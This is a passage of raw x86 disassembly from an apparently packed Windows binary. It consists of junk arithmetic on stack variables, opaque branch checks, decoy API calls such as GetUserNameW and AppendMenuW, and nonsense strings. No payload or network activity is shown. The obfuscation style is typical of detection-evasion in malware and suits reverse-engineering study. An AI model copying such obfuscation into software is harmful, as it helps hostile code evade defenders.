mov word [ecx], ax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [ebp - 0x9d8]
and eax, dword [edx]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [ebp - 0x348c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0xeaa0], ecx
movzx edx, byte [ebp - 0x9511]
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x17b31], dl
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xbfbc], ax
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [ebp - 0x5958]
add ecx, dword [eax]
mov dword [ebp - 0x2970], ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0x8f30]
add eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x7698]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3f0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1186c]
mov dword [ebp - 0x2970], eax
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x9511]
sub edx, eax
mov byte [ebp - 0x17b31], dl
movzx ecx, word [ebp - 0xbfbc]
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x6478]
mov word [edx], cx
mov eax, dword [ebp - 0x348c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x10bfc]
shr edx, cl
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov edx, dword [ebp - 0x5958]
mov ecx, dword [ebp - 0x1186c]
shl edx, cl
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x15d00]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x3f0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9511]
and ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xbfbc]
add edx, eax
mov ecx, dword [ebp - 0x6478]
mov word [ecx], dx
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9511]
sub eax, ecx
mov edx, dword [ebp - 0x66ac]
mov byte [edx], al
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
mov dword [ebp - 0xd9f4], ecx
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
and eax, dword [ebp - 0x1186c]
mov dword [ebp - 0x15d00], eax
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ecx]
add edx, dword [ebp - 0x15d00]
mov dword [ebp - 0x1186c], edx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0xd9f4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [eax]
add ecx, dword [0x55d224]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
cmp dword [ebp - 0x3468], 0xe5cf
jne 0x40703e
mov eax, dword [ebp - 0x66ac]
mov cl, byte [eax]
mov byte [ebp - 0x2215], cl
cmp dword [ebp - 0x9a0], 0x14a2
jae 0x40753d
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xbfbc]
add eax, ecx
mov edx, dword [ebp - 0x6478]
mov word [edx], ax
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x2344]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3f0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [0x55d224], eax
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x15d00]
shl edx, cl
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7698]
xor ecx, dword [ebp - 0x2970]
mov edx, dword [ebp - 0x4d40]
mov dword [edx], ecx
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2215]
or ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
movzx ecx, word [ebp - 0xbfbc]
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x39cc]
mov word [edx], cx
mov eax, dword [ebp - 0x8f30]
sub eax, dword [ebp - 0xd9f4]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
movsx edx, word [ebp - 0x11980]
add edx, 0x4f80
mov word [ebp - 0x48a8], dx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x348c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x558]
mov edx, dword [0x55d224]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2215]
and edx, eax
mov ecx, dword [ebp - 0x66ac]
mov byte [ecx], dl
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xbfbc], ax
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x171b8]
add ecx, dword [edx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x9a0]
add ecx, 0x87
mov dword [ebp - 0x9a0], ecx
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [edx]
sub eax, dword [0x55d224]
mov dword [ebp - 0x7698], eax
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x558]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xeaa0]
shl eax, cl
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xbfbc]
xor eax, ecx
mov edx, dword [ebp - 0x39cc]
mov word [edx], ax
movzx eax, byte [ebp - 0x2215]
mov ecx, dword [ebp - 0x66ac]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x17b31], al
jmp 0x407351
mov edx, dword [ebp - 0x237c]
mov eax, dword [ebp - 0x558]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x15d00], ecx
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
and eax, edx
movzx ecx, word [ebp - 0xbfbc]
cmp eax, ecx
jle 0x4075a8
movzx edx, word [ebp - 0x11980]
push edx
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x11980]
push edx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
push eax
call fcn.0053a700
jmp 0x407631
mov ecx, dword [ebp - 0x1186c]
mov dword [ebp - 0x18838], ecx
cmp dword [ebp - 0x18838], 0x25e093ce
je 0x4075c2
jmp 0x407631
mov edx, dword [ebp - 0xeaa0]
mov dword [ebp - 0x1883c], edx
cmp dword [ebp - 0x1883c], 0x78ef5d80
je 0x4075dc
jmp 0x40761b
mov eax, dword [ebp - 0x1186c]
add eax, dword [ebp - 0x2970]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [ebp - 0xeaa0]
sub eax, dword [edx]
mov dword [ebp - 0xd9f4], eax
push 1
mov ecx, dword [ebp - 0x2268]
push ecx
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
mov dword [ebp - 0x106f0], eax
jmp 0x407631
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5958]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [ebp - 0x348c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x9d8]
sub edx, dword [ebp - 0x10bfc]
cmp ecx, edx
jne 0x5398b8
movsx eax, word [ebp - 0x11980]
sar eax, 2
mov word [ebp - 0x48a8], ax
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17b31]
or edx, eax
mov byte [ebp - 0x9511], dl
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xbfbc]
shl edx, cl
mov eax, dword [ebp - 0x39cc]
mov word [eax], dx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [0x55d224], eax
mov ecx, dword [ebp - 0x1186c]
and ecx, dword [ebp - 0x7698]
mov dword [ebp - 0x5958], ecx
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2215]
sub eax, ecx
mov edx, dword [ebp - 0x66ac]
mov byte [edx], al
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xbfbc]
add ecx, edx
mov eax, dword [ebp - 0x6478]
mov word [eax], cx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ebp - 0xeaa0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [0x55d224]
add edx, dword [ecx]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0xe800]
sub ecx, 0x2d
mov dword [ebp - 0xe800], ecx
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ebp - 0x5958]
add eax, dword [edx]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
add eax, dword [ebp - 0x10bfc]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xbfbc], ax
mov eax, dword [ebp - 0x15d00]
sub eax, dword [ebp - 0x2970]
mov dword [0x55d224], eax
cmp dword [ebp - 0xe800], 0xb2d2
jae 0x407655
movsx ecx, word [ebp - 0x48a8]
sar ecx, 0xb
movsx edx, word [ebp - 0x11980]
cmp ecx, edx
jg 0x53984a
mov eax, dword [ebp - 0x66ac]
mov cl, byte [eax]
mov byte [ebp - 0x171f1], cl
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xbfbc], ax
mov eax, dword [ebp - 0xeaa0]
add eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0xeaa0]
sub eax, dword [edx]
mov dword [ebp - 0x8f30], eax
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x2970]
add edx, dword [ecx]
mov dword [0x55d224], edx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x237c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x5958], edx
mov eax, dword [ebp - 0x8a10]
add eax, 0xa9
mov dword [ebp - 0x8a10], eax
mov ecx, dword [ebp - 0x5958]
add ecx, dword [ebp - 0x2970]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9511]
and ecx, edx
mov byte [ebp - 0x2215], cl
mov eax, dword [ebp - 0x39cc]
movzx edx, word [eax]
mov eax, dword [ebp - 0x6478]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x39cc]
mov word [ecx], dx
mov edx, dword [ebp - 0xd9f4]
xor edx, dword [ebp - 0xeaa0]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x558]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x7698], eax
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x7698]
shl edx, cl
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x171f1]
movzx edx, byte [ebp - 0x9511]
sub ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [ebp - 0x237c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [0x55d224], eax
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xbfbc]
add edx, eax
mov ecx, dword [ebp - 0x6478]
mov word [ecx], dx
cmp dword [ebp - 0x8a10], 0x49ac
jb 0x4077bf
mov edx, dword [ebp - 0x66ac]
mov al, byte [edx]
mov byte [ebp - 0x18840], al
cmp byte [ebp - 0x18840], 2
je 0x40795f
cmp byte [ebp - 0x18840], 0xdd
je 0x539767
jmp 0x5397b7
movsx ecx, word [ebp - 0x48a8]
mov dword [ebp - 0x18844], ecx
cmp dword [ebp - 0x18844], 0x639
je 0x40798d
cmp dword [ebp - 0x18844], 0x4c79
je 0x53971b
jmp 0x539751
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
mov dword [ebp - 0x18848], eax
cmp dword [ebp - 0x18848], 0
je 0x4079b5
cmp dword [ebp - 0x18848], 0x9d0d1578
je 0x407a23
jmp 0x407a39
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ebp - 0x558]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x1186c], eax
movsx ecx, word [ebp - 0x11980]
mov dword [ebp - 0x1884c], ecx
cmp dword [ebp - 0x1884c], 0x7fdf
je 0x4079e6
jmp 0x407a21
mov edx, dword [ebp - 0x6478]
mov ax, word [edx]
mov word [ebp - 0xe85c], ax
push str.Boarders_Seraphically_boomer_diehard_implants
call dword [sym.imp.USER32.dll_CharUpperW]
mov dword [ebp - 0x1880], eax
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x171f1]
shl edx, cl
mov eax, dword [ebp - 0x66ac]
mov byte [eax], dl
jmp 0x407a39
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0x348c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x8f30], eax
movsx ecx, word [ebp - 0x11980]
and ecx, 0x3c97
movsx edx, word [ebp - 0x48a8]
cmp ecx, edx
jg 0x407b22
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
movzx ecx, word [ebp - 0xe85c]
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
add ecx, eax
movzx edx, word [ebp - 0xbfbc]
mov eax, dword [ebp - 0x39cc]
movzx eax, word [eax]
and edx, eax
cmp ecx, edx
jge 0x407ad9
push 0x44
push 0xc4
mov ecx, dword [ebp - 0x106f4]
push ecx
call dword [sym.imp.USER32.dll_CheckDlgButton]
mov dword [ebp - 0x106f0], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5958]
mov ecx, dword [ebp - 0x3f0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
add eax, dword [0x55d224]
mov dword [ebp - 0x5958], eax
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x15d00]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7698]
add ecx, dword [ebp - 0x2970]
mov dword [0x55d224], ecx
push str.Flocking_unweary
lea edx, [ebp - 0x11980]
push edx
push 9
mov eax, dword [ebp - 0x121bc]
push eax
call dword [sym.imp.USER32.dll_AppendMenuW]
mov dword [ebp - 0x46e0], eax
mov ecx, dword [ebp - 0xeaa0]
mov dword [ebp - 0x18850], ecx
cmp dword [ebp - 0x18850], 0
je 0x407ba5
cmp dword [ebp - 0x18850], 0x9a30de06
je 0x407b48
jmp 0x53970b
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x15d00]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
lea edx, [ebp - 0x14bc8]
push edx
mov eax, dword [ebp - 0x3efc]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [ebp - 0xeecc], eax
mov cx, word [ebp - 0xbfbc]
mov word [ebp - 0xe85c], cx
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x17b31]
sar eax, cl
mov ecx, dword [ebp - 0x66ac]
mov byte [ecx], al
jmp 0x53970b
lea edx, [ebp - 0xd9f4]
mov dword [ebp - 0x13970], edx
cmp dword [ebp - 0x11bd8], 0x147b5
ja 0x407e36
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0x348c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
movzx ecx, word [ebp - 0xbfbc]
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x6478]
mov word [edx], cx
mov eax, dword [ebp - 0x66ac]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x17b31]
shl edx, cl
mov eax, dword [ebp - 0x66ac]
mov byte [eax], dl
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x15d00]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x13970]
add edx, dword [eax]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], edx
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ebp - 0x15d00]
sub eax, dword [edx]
mov dword [ebp - 0x1186c], eax
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ebp - 0x1186c]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x171f1]
add edx, eax
mov ecx, dword [ebp - 0x66ac]
mov byte [ecx], dl
movzx edx, word [ebp - 0xbfbc]
movzx eax, word [ebp - 0xe85c]
and edx, eax
mov ecx, dword [ebp - 0x6478]
mov word [ecx], dx
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x13970]
add eax, dword [ecx]
mov dword [ebp - 0xeaa0], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [ebp - 0x7698]
add eax, dword [edx]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13970]
mov eax, dword [ebp - 0xd9f4]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ebp - 0x15d00]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x237c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x55d224], edx
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x39cc]
mov word [edx], cx
mov eax, dword [ebp - 0x8f30]
mov ecx, dword [ebp - 0xd9f4]
shr eax, cl
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
or eax, dword [ebp - 0x5958]
mov dword [ebp - 0x15d00], eax
mov ecx, dword [ebp - 0x11bd8]
add ecx, 0xef
mov dword [ebp - 0x11bd8], ecx
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ebp - 0x237c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4d40]
mov dword [edx], ecx
mov eax, dword [ebp - 0x13970]
mov ecx, dword [ebp - 0x348c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x9d8], edx
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
movzx ecx, word [ebp - 0xe85c]
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x6478]
mov word [edx], cx
movzx eax, byte [ebp - 0x9511]
movzx ecx, byte [ebp - 0x171f1]
add eax, ecx
mov edx, dword [ebp - 0x66ac]
mov byte [edx], al
mov eax, dword [ebp - 0x5958]
add eax, dword [ebp - 0x15d00]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [ebp - 0x348c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x171b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x15d00]
add eax, dword [ebp - 0x1186c]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], eax
jmp 0x407bb1
mov dl, byte [ebp - 0x171f1]
mov byte [ebp - 0x18854], dl
cmp byte [ebp - 0x18854], 0x9b
je 0x407e4d
jmp 0x407e7d
lea eax, [ebp - 0xcf40]
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x9198], eax
movzx ecx, byte [ebp - 0x171f1]
movzx edx, byte [ebp - 0x17b31]
xor ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
jmp 0x5396cc
lea ecx, [ebp - 0x48a8]
mov dword [ebp - 0xd5e0], ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0x9d8]
or eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ebp - 0x15d00]
mov ecx, dword [edx]
sar eax, cl
mov dword [0x55d224], eax
movzx edx, byte [ebp - 0x171f1]
movzx ecx, byte [ebp - 0x2215]
shl edx, cl
mov byte [ebp - 0x17b31], dl
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xe85c]
and ecx, edx
mov eax, dword [ebp - 0x6478]
mov word [eax], cx
mov ecx, dword [ebp - 0x13970]
mov edx, dword [ebp - 0xd9f4]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x2970]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x4d40]
add edx, dword [eax]
mov dword [ebp - 0x7698], edx
mov ecx, dword [ebp - 0x8f30]
add ecx, dword [ebp - 0x10bfc]
mov edx, dword [ebp - 0x13970]
mov dword [edx], ecx
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9511]
sub ecx, edx
mov byte [ebp - 0x2215], cl
mov eax, dword [ebp - 0x6478]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xbfbc]
sub ecx, edx
mov eax, dword [ebp - 0x39cc]
mov word [eax], cx
mov ecx, dword [ebp - 0x5958]
and ecx, dword [ebp - 0x7698]
mov dword [0x55d224], ecx
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x237c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x558]
mov dword [edx], eax
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x9d8]
mov edx, dword [ebp - 0x348c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2344]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1186c]
shl edx, cl
mov eax, dword [ebp - 0x3f0c]
mov dword [eax], edx
mov edx, dword [ebp - 0x2970]
mov ecx, dword [ebp - 0x1186c]
sar edx, cl
mov dword [ebp - 0x7698], edx
movsx eax, word [ebp - 0x11980]
movsx ecx, word [ebp - 0x48a8]
xor eax, ecx
mov edx, dword [ebp - 0xd5e0]
mov word [edx], ax
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x558]
add ecx, dword [edx]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xe85c]
and edx, eax
mov ecx, dword [ebp - 0x39cc]
mov word [ecx], dx
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x171f1]
sub eax, ecx
mov edx, dword [ebp - 0x66ac]
mov byte [edx], al
mov eax, dword [ebp - 0x8f30]
sub eax, dword [ebp - 0x10bfc]
mov ecx, dword [ebp - 0x13970]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2970]
mov dword [ebp - 0x15d00], eax
movzx ecx, byte [ebp - 0x2215]
movzx edx, byte [ebp - 0x171f1]
add ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
mov cx, word [ebp - 0xbfbc]
mov word [ebp - 0xe85c], cx
mov edx, dword [ebp - 0x9d8]
add edx, dword [ebp - 0x8f30]
mov dword [ebp - 0xeaa0], edx
mov eax, dword [ebp - 0x2970]
add eax, dword [ebp - 0x7698]
mov dword [ebp - 0x1186c], eax
mov ecx, dword [ebp - 0x558]
mov edx, dword [ebp - 0x2970]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4d40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9d8]
and ecx, dword [ebp - 0xd9f4]
mov dword [ebp - 0x10bfc], ecx
movzx edx, byte [ebp - 0x2215]
movzx eax, byte [ebp - 0x17b31]
or edx, eax
mov ecx, dword [ebp - 0x66ac]
mov byte [ecx], dl
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x1186c]
mov dword [0x55d224], eax
mov edx, dword [ebp - 0x5958]
mov ecx, dword [ebp - 0x7698]
sar edx, cl
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [ebp - 0x237c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x112dc]
sub ecx, 0x3f
mov dword [ebp - 0x112dc], ecx
mov edx, dword [ebp - 0xd5e0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x11980]
add eax, ecx
mov edx, dword [ebp - 0xd5e0]
mov word [edx], ax
movsx eax, word [ebp - 0x11980]
movsx ecx, word [ebp - 0x48a8]
add eax, ecx
mov edx, dword [ebp - 0xd5e0]
mov word [edx], ax
cmp dword [ebp - 0x112dc], 0xd52e
jae 0x407e89
mov eax, dword [ebp - 0xd5e0]
movsx ecx, word [eax]
mov dword [ebp - 0x18858], ecx
cmp dword [ebp - 0x18858], 0xffffa98c
je 0x4081d8
cmp dword [ebp - 0x18858], 0x22b8
je 0x4081b2
jmp 0x408247
movzx edx, byte [ebp - 0x9511]
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x17b31], dl
call dword [sym.imp.USER32.dll_GetInputState]
mov dword [ebp - 0x9198], eax
jmp 0x408247
mov edx, dword [ebp - 0x6478]
mov ax, word [edx]
mov word [ebp - 0x3314], ax
lea ecx, [ebp - 0x10bfc]
mov dword [ebp - 0x10434], ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [ebp - 0x8f30]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x13970]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
mov dword [0x578ab8], eax
mov ecx, dword [0x578ab8]
sub ecx, dword [ebp - 0x5958]
mov dword [ebp - 0x2970], ecx
lea edx, [ebp - 0x15d00]
mov dword [ebp - 0xd31c], edx
mov eax, dword [ebp - 0x7698]
sub eax, dword [ebp - 0x2970]
mov dword [ebp - 0x15d00], eax
